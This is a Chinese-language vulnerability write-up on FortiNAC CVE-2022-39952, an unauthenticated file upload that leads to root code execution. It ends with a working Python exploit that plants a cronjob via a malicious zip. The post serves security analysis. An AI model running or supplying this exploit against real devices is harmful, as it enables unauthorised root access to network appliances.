Fortinet FortiNAC CVE-2022-39952简析

简介: Fortinet 在其安全公告中表示,他们在keyUpload scriptlet中发现了一个漏洞,该漏洞允许未经身份验证的用户将任意文件上传到系统。攻击者可能会滥用此漏洞来创建 cronjob 或向易受攻击的系统添加 SSH 密钥并获得对它们的远程访问权限。

Fortinet FortiNAC CVE-2022-39952简析

一、影响版本

FortiNAC 9.4.0

FortiNAC 9.2.0 - 9.2.5

FortiNAC 9.1.0 - 9.1.7

FortiNAC 8.3 - 8.8

二、概况

Fortinet 在其安全公告中表示,他们在keyUpload scriptlet中发现了一个漏洞,该漏洞允许未经身份验证的用户将任意文件上传到系统。攻击者可能会滥用此漏洞来创建 cronjob 或向易受攻击的系统添加 SSH 密钥并获得对它们的远程访问权限。

三、利用CVE-2022-39952

该漏洞是名为“keyUpload.jsp”的文件引起的。

image-20240314171408738.png

该 scriptlet 具有允许用户上传任意文件的功能。上传的文件保存到“ /bsc/campusMgr/config/upload.applianceKey ”。

File uploadedFile = new File("/bsc/campusMgr/config/upload.applianceKey");

image-20240314171733651.png

然后,keyUpload.jsp 文件以 root 权限运行 bash 脚本来解压缩上传的文件。

Process prKey = rtKey.exec ("sudo /bsc/campusMgr/bin/configApplianceXml");

成功写入文件后,调用Runtime().Exec()执行位于 的 bash 脚本/bsc/campusMgr/bin/configApplianceXml。

#!/bin/sh

unalias cd 2> /dev/null
cd / 

VERSION='/bsc/campusMgr/bin/getPlatformVersion'
if [ "VERSION" == "0" ]
Then

echo "This script is not supported on this version of firmware"
exit;
fi

/usr/bin/unzip -o /bsc/campusMgr/config/upload.applianceKey

image-20240314171539523.png

由于用户可以将任意文件上传到未经身份验证的端点,因此攻击者可以制作并上传恶意 zip 文件,这些文件可用于在易受攻击的系统中以 root 权限远程执行代码。例如,威胁行为者可能会在“/etc/cron.d”中添加一个 cronjob 来定期执行恶意命令,或者将 SSH 密钥添加到用户配置文件中以获得远程访问权限。

四、POC

python3 CVE-2022-39952.py --target x.x.x.x --file payload
[+] Wrote payload to /etc/cron.d/payload
[+] Payload successfully delivered
#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()


def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={
   
   'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)
相关文章
|
传感器 Ubuntu 算法
【6. 激光雷达接入ROS】(1)
【6. 激光雷达接入ROS】(1)
998 0
|
安全 中间件 Apache
【Web安全】不安全的HTTP方法
围绕渗透攻防层面来看不安全的HTTP方法漏洞的检测发现修复等手法。
2615 2
|
Web App开发 安全 数据安全/隐私保护
IP电话交换机WebRTC使用方法一
WebRTC 简介 WebRTC 是网络实时通信的缩写(Web Real-Time Communication), 是一种支 持网页浏览器进行实时语音通话的技术。在 CooVox V2 IP PBX电话交换机 中成功运用该技术实现网 页分机,为企业用户提供了一个直接与客户沟通交流的免费平台。网页分机是指在 Web 浏览器中通过使用 WebRTC 的方式注册的分机号。客户可以通过企业网站直接与企业人员 通话寻求支持。
|
9月前
|
缓存 前端开发 NoSQL
如何开发工程项目部管理系统中的进度管理板块(附架构图+流程图+代码参考)
本文介绍如何构建一个高效的工程项目进度管理板块,涵盖系统架构、数据模型、核心功能、业务流程及开发技巧。内容包含四个关键代码示例,便于快速落地开发,帮助解决进度不准与沟通不畅两大工程难题。
|
5月前
|
存储 JSON API
Python轻松玩转JSON文件:读写实战指南
Python轻松玩转JSON文件:读写实战指南
370 22
|
5月前
|
机器学习/深度学习 人工智能 自然语言处理
AI技术分析股票财报
AI正重塑股票财报分析,从数据提取跃升为策略参谋。通过NLP解析非结构化文本、识别情绪与关联风险,运用异常检测揭露财务造假,联动宏观数据实现实时预测,并融合卫星影像、舆情等跨模态信息校验财报真实性,AI为投资决策提供深度洞察。#财报分析 #AI技术 #软件外包公司
|
5月前
|
云安全 安全 固态存储
你的第一个云服务器,从阿里云轻量应用服务器开始——简单、稳定、超值!
阿里云轻量应用服务器,专为新手打造:38元/年起(2核2G+200Mbps带宽+40G SSD),5分钟一键建站,无需技术基础。支持WordPress、宝塔等应用镜像,Web控制台在线连接,安全稳定,开箱即用——上云,原来如此简单!
|
缓存 监控 搜索推荐
电商生态协同的关键:API接口在电商数据对接中的应用与实践
电商数据对接API接口是连接电商平台与外部系统的智慧桥梁,通过标准化协议实现商品管理、订单处理、支付结算、物流追踪及数据分析等全链路支持。本文从核心功能、对接流程、应用场景和优化策略四个方面解析其技术逻辑与实践路径。API接口助力店铺管理自动化、精准营销与跨境电商全链路管理,同时通过安全防护、性能调优与合规管理提升效能,推动电商行业向智能化、高效化发展。
|
7月前
|
编解码 异构计算 Windows
找不到 d3dx9_43.dll无法启动程序,因为计算机中丢失 d3d9.dll
DirectX运行库常见问题解答,涵盖d3dx9_43.dll缺失、requires DirectX 11.0等报错原因及解决方法,涉及核心组件修复、版本兼容性、显卡驱动更新等内容。
668 7
|
7月前
|
人工智能 算法 数据可视化
“东方好莱坞”的AI革命:横店影视大模型如何改变拍电影?
“东方好莱坞”横店迎来AI革命!2025横店影视节发布“横店影视大模型”与AI影视生态中心,覆盖创作、拍摄、制作、宣发全流程。AI助力剧本生成、场景设计、特效制作,提升效率,推动产业升级。横店正构建全国领先的人工智能影视生态,探索技术与创意的深度融合,开启智能影视新时代。
463 0

热门文章

最新文章